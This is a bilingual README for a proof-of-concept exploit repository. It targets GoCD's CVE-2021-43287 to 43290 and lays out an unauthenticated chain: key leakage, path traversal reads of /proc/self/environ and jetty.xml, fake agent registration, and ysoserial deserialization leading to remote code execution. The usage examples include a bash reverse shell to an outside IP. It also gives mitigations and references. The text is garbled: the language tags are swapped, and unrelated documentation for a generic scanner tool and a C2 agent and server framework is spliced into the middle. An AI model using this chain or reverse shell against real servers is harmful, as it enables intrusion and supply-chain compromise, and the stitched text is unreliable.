
CVE-2021-43287 CVE-2021-43288 CVE-2021-43289 CVE-2021-43290
Auteur / Author: Higor Farias — PRIDE Security
⚠️ AVIS JURIDIQUE / LEGAL DISCLAIMER
[PT] Matériel produit exclusivement à des fins éducatives et de recherche en sécurité offensive. À utiliser uniquement dans des environnements contrôlés avec autorisation explicite. Tout usage abusif relève de la seule responsabilité de l'utilisateur.
[EN] Produced exclusively for educational and authorized offensive security research purposes. Use only in controlled environments with explicit written permission. Misuse is the sole responsibility of the user.
[PT] GoCD est une plateforme de CI/CD maintenue par ThoughtWorks. Dans les versions antérieures à 21.3.0, des chercheurs de SonarSource ont identifié une chaîne de vulnérabilités exploitable sans aucune authentification. Les deux scripts de ce dépôt démontrent :
gocd_rce_noauth.py — exploitation complète de la chaîne jusqu'à RCE (Exécution de Code à Distance), sans identifiants.gocd_urldns.py — détection out-of-band de la désérialisation Java via la gadget chain URLDNS et un callback DNS (nécessite des identifiants valides pour lister les agents enregistrés).[EN] GoCD is a CI/CD platform maintained by ThoughtWorks. In versions prior to 21.3.0, SonarSource researchers identified a vulnerability chain exploitable with zero authentication. The two scripts in this repository demonstrate:
gocd_rce_noauth.py — full chain exploitation up to RCE (Remote Code Execution), without credentials.gocd_urldns.py — out-of-band detection of Java deserialization via the URLDNS gadget chain and a DNS callback (requires valid credentials to list registered agents).[PT] GoCD occupe une position centrale dans la chaîne de livraison logicielle d'une organisation : il orchestre la compilation, les tests, la génération d'artefacts et les déploiements en production. En compromettant le serveur GoCD via RCE (comme le démontre gocd_rce_noauth.py), un attaquant obtient le contrôle sur toutes les étapes de ce processus — pouvant insérer des backdoors dans les binaires, falsifier des artefacts ou exfiltrer du code source et des identifiants avant même qu'un produit n'atteigne l'utilisateur final. Le scénario est analogue à l'attaque contre SolarWinds (2020), où l'accès au pipeline de build a abouti à la distribution de malware à des milliers de clients.
[EN] GoCD occupies a central position in an organization's software delivery chain: it orchestrates builds, tests, artifact generation, and production deployments. By compromising the GoCD server via RCE (as demonstrated by gocd_rce_noauth.py), an attacker gains control over every stage of that process — enabling backdoor insertion into binaries, artifact tampering, or source code and credential exfiltration before any product reaches the end user. The scenario mirrors the SolarWinds attack (2020), where build pipeline access led to malware distribution to thousands of customers.```mermaid
flowchart TD
ATK(["🕵️ Atacante / Attacker\n(não autenticado / unauthenticated)"])
subgraph EXPLOIT ["Exploração / Exploitation"]
E1["CVE-2021-43287\nLeitura do cruise_config\n(tokenGenerationKey + agentAutoRegisterKey)"]
E2["Path Traversal\nLeitura de /etc/go/jetty.xml\ne /proc/self/environ"]
E3["Registro de agente falso\nFake agent registration"]
E4["Desserialização Java\n(AspectJWeaver gadget chains)\nSobrescreve jetty.xml + restart"]
E5["💥 RCE no servidor GoCD\nRCE on GoCD server"]
E1 --> E2 --> E3 --> E4 --> E5
end
subgraph PIPELINE ["Pipeline CI/CD comprometido / Compromised CI/CD Pipeline"]
P1["📦 Build de artefatos\nBinary/artifact build"]
P2["🧪 Execução de testes\nTest execution"]
P3["📤 Publicação de pacotes\nPackage publication\n(npm, PyPI, Docker Hub...)"]
P4["🚀 Deploy em produção\nProduction deployment"]
P1 --> P2 --> P3 --> P4
end
subgraph IMPACT ["Impacto / Impact"]
I1["🔑 Vazamento de credenciais\nCredential leak\n(tokens, SSH keys, API keys)"]
I2["🦠 Backdoor em artefatos\nBackdoor in build artifacts"]
I3["📂 Exfiltração de código-fonte\nSource code exfiltration"]
I4["☠️ Ataque à cadeia de suprimentos\nSupply chain attack\n(usuários finais afetados / end users impacted)"]
I1 & I2 & I3 --> I4
end
ATK --> EXPLOIT
E5 -->|"Controle total do runner\nFull runner control"| PIPELINE
P1 -->|"Artefatos envenenados\nPoisoned artifacts"| I2
P3 -->|"Pacotes maliciosos\nMalicious packages"| I4
P4 -->|"Produção comprometida\nCompromised production"| I4
E5 -->|"Leitura de secrets\nSecrets read"| I1
E5 -->|"Acesso ao repositório\nRepository access"| I3
---
## 3. Vulnérabilités / Vulnerabilities
| CVE | Type | CVSS 3.1 | CWE | Auth |
|-----|-------------|:---:|-----|:---:|
| **CVE-2021-43287** | Divulgation d'informations | **7.5 HIGH** | CWE-200 | ❌ Aucune / None |
| **CVE-2021-43288** | XSS stocké | **6.1 MEDIUM** | CWE-79 | Agent |
| **CVE-2021-43289** | Path Traversal — PUT | **8.1 HIGH** | CWE-22 | Agent |
| **CVE-2021-43290** | Path Traversal — GET | **8.1 HIGH** | CWE-22 | Agent |
### CVE-2021-43287 — Business Continuity : fuite sans authentification / unauthenticated leak
**[PT]** O endpoint `/go/add-on/business-continuity/api/cruise_config` devolve o XML completo de configuração do servidor **sem exigir autenticação**. O XML contém os atributos do elemento `<server>`, incluindo `agentAutoRegisterKey` e `tokenGenerationKey` — as duas chaves necessárias para registrar agentes e assinar requisições autenticadas. Adicionalmente, o parâmetro `pluginName` do endpoint de plugins aceita sequências de path traversal (`../../../../../../`), permitindo leitura de arquivos arbitrários do sistema — como `/proc/self/environ` e `/etc/go/jetty.xml`.
**[EN]** The `/go/add-on/business-continuity/api/cruise_config` endpoint returns the full server configuration XML **without requiring authentication**. The XML contains the `<server>` element attributes, including `agentAutoRegisterKey` and `tokenGenerationKey` — the two keys needed to register agents and sign authenticated requests. Additionally, the `pluginName` parameter of the plugin endpoint accepts path traversal sequences (`../../../../../../`), allowing arbitrary file reads — such as `/proc/self/environ` and `/etc/go/jetty.xml`.
**Points de terminaison exploités par les scripts / Endpoints used by the scripts :**```
GET /go/add-on/business-continuity/api/cruise_config
GET /go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../../../../proc/self/environ
GET /go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../../../../etc/go/jetty.xml
remoteBuildRepository[PT] O endpoint /go/remoting/remoteBuildRepository aceita objetos Java serializados (Content-Type: application/x-java-serialized-object) autenticados apenas com o header Authorization: base64(HMAC-SHA256(tokenGenerationKey, agent_uuid)). Como o tokenGenerationKey é obtido via CVE-2021-43287, um atacante sem credenciais pode enviar gadget chains maliciosas. Os scripts utilizam dois gadgets customizados do ysoserial baseados em AspectJWeaver:
AspectJWeaverFileUpload1 — escreve arquivo arbitrário no sistema de arquivos do servidor (usado para sobrescrever /etc/go/jetty.xml com uma versão maliciosa).AspectJWeaverFileRead1 — lê /dev/random, forçando o Jetty a reinicializar e carregar o jetty.xml modificado, disparando a execução do comando injetado via java.lang.Runtime.exec().[EN] Le point de terminaison /go/remoting/remoteBuildRepository accepte des objets sérialisés Java (Content-Type: application/x-java-serialized-object) authentifiés uniquement avec l'en-tête Authorization: base64(HMAC-SHA256(tokenGenerationKey, agent_uuid)). Comme le tokenGenerationKey est obtenu via CVE-2021-43287, un attaquant non authentifié peut envoyer des chaînes de gadgets malveillantes. Les scripts utilisent deux gadgets ysoserial personnalisés basés sur AspectJWeaver :
AspectJWeaverFileUpload1 — écrit un fichier arbitraire sur le système de fichiers du serveur (utilisé pour écraser /etc/go/jetty.xml avec une version malveillante).AspectJWeaverFileRead1 — lit /dev/random, forçant Jetty à redémarrer et à charger le jetty.xml modifié, déclenchant l'exécution de la commande injectée via java.lang.Runtime.exec().gocd_rce_noauth.py — Cadeia completa sem autenticação / Full unauthenticated chain```ATACANTE (sem credenciais) / ATTACKER (no credentials) │ │ [Step 1] GET /go/add-on/business-continuity/api/cruise_config (CVE-2021-43287) │ └─► Extrai agentAutoRegisterKey + tokenGenerationKey do XML │ │ [Step 3] GET /go/add-on/business-continuity/api/plugin (Path Traversal) │ ?folderName=&pluginName=../../../../../../proc/self/environ │ └─► Lê variáveis de ambiente do processo GoCD │ │ [Step 4] GET /go/add-on/business-continuity/api/plugin (Path Traversal) │ ?folderName=&pluginName=../../../../../../etc/go/jetty.xml │ └─► Lê jetty.xml → salva como bkp_orig_jetty.xml │ │ [Step 6] Localmente: injeta payload em jetty.xml │ └─► Adiciona │ {comando} │ │ antes de → gera exploit_jetty.xml │ │ [Step 7] GET /go/admin/agent/token?uuid={novo_uuid} │ POST /go/admin/agent (com agentAutoRegisterKey extraída) │ └─► Registra agente falso chamado "gocd_rce_noauth" │ │ [Step 8] ysoserial AspectJWeaverFileUpload1 → serializa upload do exploit_jetty.xml → /etc/go/jetty.xml │ ysoserial AspectJWeaverFileRead1 → serializa leitura de /dev/random (trigger de restart) │ │ [Step 9] POST /go/remoting/remoteBuildRepository (Authorization: base64(HMAC-SHA256)) │ └─► Envia AspectJWeaverFileUpload1 → sobrescreve /etc/go/jetty.xml │ └─► Envia AspectJWeaverFileRead1 → força reinicialização do Jetty │ ▼ Jetty reinicia → carrega jetty.xml malicioso → Runtime.exec({comando}) → RCE
### `gocd_urldns.py` — Détection out-of-band / Détection out-of-band```
ATACANTE (com credenciais) / ATTACKER (with credentials)
│
│ [Step 1] POST /go/auth/security_check (j_username + j_password)
│ └─► Obtém JSESSIONID
│
│ [Step 2] GET /go/add-on/business-continuity/api/cruise_config
│ └─► Extrai tokenGenerationKey
│
│ [Step 4] GET plugin?pluginName=../../../../../../proc/self/environ
│ └─► Lê variáveis de ambiente
│
│ [Step 5] GET /go/api/agents (Accept: application/vnd.go.cd+json)
│ └─► Lista agents; seleciona o primeiro com agent_state != "Building"
│ e extrai seu UUID
│
│ [Step 9] ysoserial URLDNS {interact_url}
│ └─► Serializa gadget URLDNS apontando para servidor de interação DNS
│
│ [Step 10] POST /go/remoting/remoteBuildRepository
│ └─► Envia payload URLDNS com UUID + Authorization HMAC
│
▼
Servidor GoCD desserializa → faz requisição DNS para {interact_url}
DNS callback confirma vulnerabilidade de desserialização
pip install requests
### Ferramentas externas obrigatórias / Outils externes obligatoires
Ambos os scripts dependem de um JDK 32-bit e do `ysoserial.jar` no diretório de execução.
Les deux scripts dépendent d'un JDK 32 bits et de `ysoserial.jar` dans le répertoire de travail.
| Ferramenta / Outil | Versão / Version | Finalidade / Objectif |
|---|---|---|
| **ysoserial.jar** | Custom (com gadgets AspectJWeaver) | Geração de payloads serializados |
| **OpenLogic OpenJDK** | `8u332-b09` **x32** | Runtime para ysoserial |
**Estrutura esperada de arquivos / Structure de fichiers attendue :**```
diretório de execução / working directory
├── gocd_rce_noauth.py
├── gocd_urldns.py
├── ysoserial.jar
└── openlogic-openjdk-8u332-b09-linux-x32/
└── bin/
└── java
[PT] O script detecta o sistema operacional automaticamente e usa o caminho correspondente :
- Linux :
./openlogic-openjdk-8u332-b09-linux-x32/bin/java- Windows :
.\openlogic-openjdk-8u332-b09-windows-32\bin\java[EN] Le script détecte automatiquement le système d'exploitation et utilise le chemin correspondant :
- Linux :
./openlogic-openjdk-8u332-b09-linux-x32/bin/java- Windows :
.\openlogic-openjdk-8u332-b09-windows-32\bin\java
gocd_urldns.py : service d'interaction DNS / DNS interaction service[PT] Un serveur d'interaction DNS qui enregistre les callbacks est nécessaire (par ex. interactsh ou Burp Collaborator). Le script envoie l'URL reçue via -i comme argument au gadget URLDNS.
[EN] Un serveur d'interaction DNS qui enregistre les callbacks est requis (par ex. interactsh ou Burp Collaborator). Le script transmet l'URL reçue via -i comme argument au gadget URLDNS.```bash
interactsh-client
---
## 6. Environnement PoC avec Docker / PoC Docker Environment
### Démarrer la cible vulnérable / Start the vulnerable target```bash
# Clonar / Clone
git clone https://github.com/<usuario>/gocd-cve-poc.git
cd gocd-cve-poc
# Subir apenas o servidor GoCD 20.10.0
# Start only the GoCD 20.10.0 server
docker-compose up -d gocd-server
# Aguardar inicialização (~90s) / Wait for startup (~90s)
docker-compose logs -f gocd-server
# Pronto quando aparecer: "Go server port: 8153"
| Conteneur | Image | Port |
|---|---|---|
gocd-server-vuln | gocd/gocd-server:v20.10.0 | 8153 (HTTP), 8154 (HTTPS) |
gocd-agent-vuln | gocd/gocd-agent-alpine-3.12:v20.10.0 | — |
curl -sk http://localhost:8153/go/add-on/business-continuity/api/cruise_config | head -5
### Démontage```bash
docker-compose down -v
gocd_rce_noauth.py — RCE sem autenticação / RCE sans authentification[PT] Executa a cadeia completa de exploração sem nenhuma credencial: lê o cruise_config, extrai as chaves do servidor, lê e modifica o jetty.xml via path traversal, registra um agente falso, serializa os gadgets AspectJWeaver com ysoserial e os envia ao endpoint de desserialização para sobrescrever o jetty.xml e forçar a reinicialização do Jetty com o comando injetado.
[EN] Exécute la chaîne d'exploitation complète sans aucun identifiant : lit cruise_config, extrait les clés du serveur, lit et modifie jetty.xml via path traversal, enregistre un faux agent, sérialise les gadgets AspectJWeaver avec ysoserial, et les envoie à l'endpoint de désérialisation pour écraser jetty.xml et forcer le redémarrage de Jetty avec la commande injectée.
| Flag | Obrigatório / Required | Descrição (PT) | Description (EN) |
|---|---|---|---|
-c | ✅ | Comando a executar no servidor | Commande à exécuter sur le serveur |
-t | ✅ | URL base do GoCD (ex: http://gocd.example.com) | URL de base de GoCD |
python3 gocd_rce_noauth.py
-t http://localhost:8153
-c "id"
- **`--no-verify`** : Ignorer la vérification du certificat TLS (utile pour les certificats auto-signés)
- **`--timeout`** : Délai d'expiration de la requête en secondes (par défaut : 10)
- **`--user-agent`** : Chaîne User-Agent personnalisée
- **`--proxy`** : Proxy à utiliser pour les requêtes (par exemple, `http://127.0.0.1:8080`)
- **`--headers`** : En-têtes supplémentaires au format `Name: Value` (peut être répété)
- **`--cookies`** : Cookies à envoyer avec les requêtes (par exemple, `session=abc123`)
- **`--follow-redirects`** : Suivre les redirections HTTP (par défaut : true)
- **`--max-redirects`** : Nombre maximal de redirections à suivre (par défaut : 10)
- **`--output`** : Écrire la sortie dans un fichier au lieu de stdout
- **`--format`** : Format de sortie (`text`, `json`, `csv`) (par défaut : text)
- **`--verbose`** : Activer la sortie détaillée
- **`--quiet`** : Supprimer toute la sortie sauf les erreurs
- **`--debug`** : Activer la sortie de débogage
- **`--version`** : Afficher la version du programme et quitter
- **`--help`** : Afficher le message d'aide et quitter
### Exemples
Analyser une URL unique :
```bash
./tool --url https://example.com
Analyser plusieurs URL depuis un fichier :
./tool --list urls.txt
Utiliser un proxy et ignorer la vérification TLS :
./tool --url https://example.com --proxy http://127.0.0.1:8080 --no-verify
Enregistrer la sortie au format JSON :
./tool --url https://example.com --format json --output results.json
L'outil peut être configuré à l'aide d'un fichier de configuration. Par défaut, il recherche un fichier nommé config.yaml dans le répertoire courant. Vous pouvez spécifier un fichier de configuration différent à l'aide de l'option --config.
Exemple de fichier de configuration :
timeout: 10
user_agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
follow_redirects: true
max_redirects: 10
proxy: ""
headers:
- "Accept: text/html,application/xhtml+xml"
- "Accept-Language: en-US,en;q=0.9"
cookies: ""
output: ""
format: "text"
verbose: false
quiet: false
debug: false
Les variables d'environnement suivantes peuvent être utilisées pour configurer l'outil :
TOOL_TIMEOUT : Délai d'expiration de la requête en secondesTOOL_USER_AGENT : Chaîne User-Agent personnaliséeTOOL_PROXY : Proxy à utiliser pour les requêtesTOOL_HEADERS : En-têtes supplémentaires au format Name: Value (séparés par des virgules)TOOL_COOKIES : Cookies à envoyer avec les requêtesTOOL_FOLLOW_REDIRECTS : Suivre les redirections HTTP (true ou false)TOOL_MAX_REDIRECTS : Nombre maximal de redirections à suivreTOOL_OUTPUT : Écrire la sortie dans un fichier au lieu de stdoutTOOL_FORMAT : Format de sortie (text, json, csv)TOOL_VERBOSE : Activer la sortie détaillée (true ou false)TOOL_QUIET : Supprimer toute la sortie sauf les erreurs (true ou false)TOOL_DEBUG : Activer la sortie de débogage (true ou false)0 : Succès1 : Erreur générale2 : Mauvaise utilisation de la ligne de commande3 : Erreur de connexion réseau4 : Erreur de vérification TLS5 : Délai d'expiration de la requête dépassé6 : Trop de redirections7 : Erreur d'écriture du fichier de sortie8 : Erreur de format de sortie9 : Erreur de fichier de configuration10 : Erreur de variable d'environnement```bashpython3 gocd_rce_noauth.py
-t http://localhost:8153
-c "bash -i >& /dev/tcp/192.168.1.10/4444 0>&1"
| `-s` | `--server` | Adresse du serveur C2 (par défaut : `127.0.0.1`) |
| `-p` | `--port` | Port du serveur C2 (par défaut : `8080`) |
| `-t` | `--token` | Jeton d'authentification pour l'enregistrement de l'agent |
| `-i` | `--interval` | Intervalle de beacon en secondes (par défaut : `5`) |
| `-j` | `--jitter` | Pourcentage de gigue pour l'intervalle de beacon (par défaut : `0`) |
| `-k` | `--kill-date` | Date/heure à laquelle l'agent doit s'arrêter |
| `-v` | `--verbose` | Activer la journalisation verbeuse |
| `-h` | `--help` | Afficher le message d'aide |
### Exemples
```bash
# Démarrer un agent avec les paramètres par défaut
./agent
# Se connecter à un serveur C2 spécifique avec un jeton
./agent -s 192.168.1.100 -p 9090 -t mytoken123
# Définir un intervalle de beacon de 10 secondes avec 20% de gigue
./agent -i 10 -j 20
# Définir une date d'arrêt
./agent -k "2024-12-31 23:59:59"
Le serveur est le composant central qui gère les agents, traite les commandes et stocke les données.
go build -o server ./cmd/server
./server [options]
| Option courte | Option longue | Description |
|---|---|---|
-l | --listen | Adresse d'écoute (par défaut : 0.0.0.0) |
-p | --port | Port d'écoute (par défaut : 8080) |
-d | --database | Chemin vers le fichier de base de données (par défaut : data.db) |
-c | --cert | Chemin vers le certificat TLS |
-k | --key | Chemin vers la clé TLS |
-v | --verbose | Activer la journalisation verbeuse |
-h | --help | Afficher le message d'aide |
# Démarrer le serveur avec les paramètres par défaut
./server
# Écouter sur un port spécifique
./server -p 9090
# Activer TLS
./server -c cert.pem -k key.pem
# Utiliser un fichier de base de données personnalisé
./server -d /path/to/database.db
L'interface web fournit une interface conviviale pour interagir avec les agents et gérer les données.
Ouvrez votre navigateur et accédez à http://localhost:8080 (ou l'adresse et le port que vous avez configurés).
# Cloner le dépôt
git clone https://github.com/example/c2-framework.git
cd c2-framework
# Installer les dépendances Go
go mod download
# Installer les dépendances de l'interface web
cd web && npm install && cd ..
# Compiler tous les composants
make build
# Ou compiler individuellement
go build -o agent ./cmd/agent
go build -o server ./cmd/server
# Exécuter tous les tests
make test
# Ou exécuter les tests Go directement
go test ./...
Les contributions sont les bienvenues ! Veuillez consulter le fichier CONTRIBUTING.md pour plus de détails.
Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.
Cet outil est destiné à des fins éducatives et à des tests de sécurité autorisés uniquement. Les auteurs ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par ce logiciel. Utilisez-le de manière responsable et conformément aux lois applicables.```bash
python3 gocd_rce_noauth.py
-t http://localhost:8153
-c "touch /tmp/pwned_by_gocd_cve"
docker exec gocd-server-vuln ls /tmp/pwned_by_gocd_cve
#### Sortie attendue / Expected output```
[1] Verificando arquivo cruise_config
Arquivo cruise_config acessível
[2] Lendo atributos do servidor
agentAutoRegisterKey: 3b4c5d6e-...
tokenGenerationKey: 7f8a9b0c-...
artifactsdir: /godata/artifacts
siteUrl: http://localhost:8153/go
...
[3] Verificando arquivo variáveis de ambiente do processo
Arquivo acessível
[4] Verificando arquivo jetty.xml
Arquivo acessível
[5] Criando backup do arquivo jetty.xml
Backup criado
[6] Criando arquivo exploit_jetty.xml
Arquivo criado
[7] Registrando novo agent
Gerando token do agent
Token gerado
Registrando novo agent
Agent registrado
Dados do agent: {'hostname': 'gocd_rce_noauth', 'uuid': 'a1b2c3d4-...', ...}
[8] Serializando objetos
Objetos serializados
[9] Enviando objetos serializados
Enviando exploit_jetty.xml
Arquivo enviado
Enviando comando para forçar reinicialização
Aguardando reinicialização
| Arquivo / Fichier | Conteúdo / Contenu |
|---|---|
bkp_orig_jetty.xml | Cópia original do /etc/go/jetty.xml baixado do servidor |
exploit_jetty.xml | Versão modificada com Runtime.exec({comando}) injetado antes de </Configure> |
[PT] Variante de détection out-of-band qui confirme la vulnérabilité de désérialisation Java sans exécuter de code destructif. Nécessite des identifiants pour s'authentifier et lister les agents enregistrés, à partir desquels il extrait l'UUID d'un agent avec agent_state != "Building". Il sérialise ensuite le gadget URLDNS avec ysoserial pointant vers une URL d'interaction DNS et l'envoie au endpoint /go/remoting/remoteBuildRepository. Un callback DNS confirmera que le serveur a désérialisé le payload.
[EN] An out-of-band detection variant that confirms the Java deserialization vulnerability without executing destructive code. Requires credentials to authenticate and list registered agents, from which it extracts the UUID of an agent with agent_state != "Building". It then serializes the URLDNS gadget with ysoserial pointing to a DNS interaction URL and sends it to the /go/remoting/remoteBuildRepository endpoint. A DNS callback will confirm the server deserialized the payload.
| Flag | Obrigatório / Required | Descrição (PT) | Description (EN) |
|---|---|---|---|
-u | ✅ | Usuário GoCD | GoCD username |
-p | ✅ | Senha GoCD | GoCD password |
-i | ✅ | URL de interação DNS (ex: http://abcdef.oast.pro) | DNS interaction URL |
-t | ✅ | URL base do GoCD | GoCD base URL |
python3 gocd_urldns.py
-t http://localhost:8153
-u admin
-p password
-i http://abcdef.oast.pro
#### Sortie attendue / Expected output```
[1] Autenticando
Autenticado com sucesso
[2] Verificando arquivo cruise_config
Arquivo cruise_config acessível
[3] Lendo atributos do servidor
agentAutoRegisterKey: 3b4c5d6e-...
tokenGenerationKey: 7f8a9b0c-...
...
[4] Verificando arquivo variáveis de ambiente do processo
Arquivo acessível
[5] Listando agents
Lista carregada
Buscando GUID de um agent
Localizado agent com status != Building
GUID: 550e8400-e29b-41d4-a716-446655440000
[9] Serializando objetos
b'\xac\xed\x00\x05...'
Objetos serializados
[10] Enviando objeto serializado
<Response [500]>
...
Objeto URLDNS enviado
[PT] Após o envio, verificar no painel do interactsh/Collaborator se houve uma requisição DNS originada do IP do servidor GoCD. Isso confirma a vulnerabilidade de desserialização antes de explorar com o
gocd_rce_noauth.py.[EN] After sending, check the interactsh/Collaborator dashboard for a DNS request originating from the GoCD server's IP. This confirms the deserialization vulnerability before exploiting with
gocd_rce_noauth.py.
Les deux scripts calculent l'autorisation de la même manière / Both scripts compute authorization the same way:```python Authorization = base64( HMAC-SHA256(key=tokenGenerationKey, msg=agent_uuid) )
---
## 8. Références / References
### CVE — NVD / NIST
| CVE | Lien |
|-----|------|
| CVE-2021-43287 | https://nvd.nist.gov/vuln/detail/CVE-2021-43287 |
| CVE-2021-43288 | https://nvd.nist.gov/vuln/detail/CVE-2021-43288 |
| CVE-2021-43289 | https://nvd.nist.gov/vuln/detail/CVE-2021-43289 |
| CVE-2021-43290 | https://nvd.nist.gov/vuln/detail/CVE-2021-43290 |
### Analyse technique / Technical writeups
| Ressource / Resource | URL |
|---|---|
| SonarSource — Agent 007: Pre-Auth Takeover (CVE-2021-43287) | https://blog.sonarsource.com/gocd-pre-auth-pipeline-takeover |
| SonarSource — Agent 008: Chaining Vulnerabilities (CVE-2021-43288/89/90) | https://blog.sonarsource.com/gocd-vulnerability-chain |
| AttackerKB — CVE-2021-43287 | https://attackerkb.com/assessments/9101a539-4c6e-4638-a2ec-12080b7e3b50 |
### Commits de correction / Fix commits
| CVE | Commit | Changement / Change |
|-----|--------|-----------------|
| CVE-2021-43287 | [`41abc21`](https://github.com/gocd/gocd/commit/41abc210ac4e8cfa184483c9ff1c0cc04fb3511c) | Vérification d'authentification dans `DashBoardController.java` |
| CVE-2021-43288 | [`f5c1d2a`](https://github.com/gocd/gocd/commit/f5c1d2aa9ab302a97898a6e4b16218e64fe8e9e4) | `StringEscapeUtils.escapeHtml4()` dans les noms d'artefacts |
| CVE-2021-43289 | [`c22e042`](https://github.com/gocd/gocd/commit/c22e0428164af25d3e91baabd3f538a41cadc82f) | `isValidStageCounter()` dans le handler PUT |
| CVE-2021-43290 | [`4c4bb47`](https://github.com/gocd/gocd/commit/4c4bb4780eb0d3fc4cacfc4cfcc0b07e2eaf0595) | `isValidStageCounter()` dans le handler GET |
### Notes de version / Version corrigée
- GoCD v21.3.0 : https://www.gocd.org/releases/#21-3-0
---
## 9. Chronologie / Timeline
| Date / Date | Événement / Event |
|-------------|----------------|
| 2021-10-18 – 2021-10-21 | SonarSource signale les vulnérabilités à GoCD via HackerOne |
| 2021-10-23 | GoCD publie les correctifs sur GitHub |
| 2021-10-26 | GoCD publie la version v21.3.0 avec toutes les corrections |
| 2021-11-04 | CVE -43288, -43289, -43290 attribués |
| 2022-04-14 | CVE-2021-43287 publié dans le NVD |
---
## 10. Atténuation / Mitigation
**[PT]**
1. **Mettez à jour** GoCD vers la version **≥ 21.3.0** immédiatement.
2. Si l'add-on Business Continuity n'est pas utilisé, **désactivez-le**.
3. **Renouvelez** le `tokenGenerationKey`, `agentAutoRegisterKey` et toutes les informations d'identification de pipelines exposées.
4. **Examinez les journaux** à la recherche de requêtes non authentifiées vers `/go/add-on/business-continuity/` et de requêtes POST vers `/go/remoting/remoteBuildRepository` avec `Content-Type: application/x-java-serialized-object`.
5. Appliquez une **segmentation réseau** pour restreindre l'accès au serveur GoCD aux hôtes autorisés.
**[EN]**
1. **Upgrade** GoCD to version **≥ 21.3.0** immediately.
2. If the Business Continuity add-on is not needed, **disable it**.
3. **Rotate** `tokenGenerationKey`, `agentAutoRegisterKey`, and all pipeline credentials that may have been exposed.
4. **Review logs** for unauthenticated requests to `/go/add-on/business-continuity/` and POST requests to `/go/remoting/remoteBuildRepository` with `Content-Type: application/x-java-serialized-object`.
5. Apply **network segmentation** to restrict GoCD server access to authorized hosts only.
---
*À des fins éducatives. / For educational purposes only.*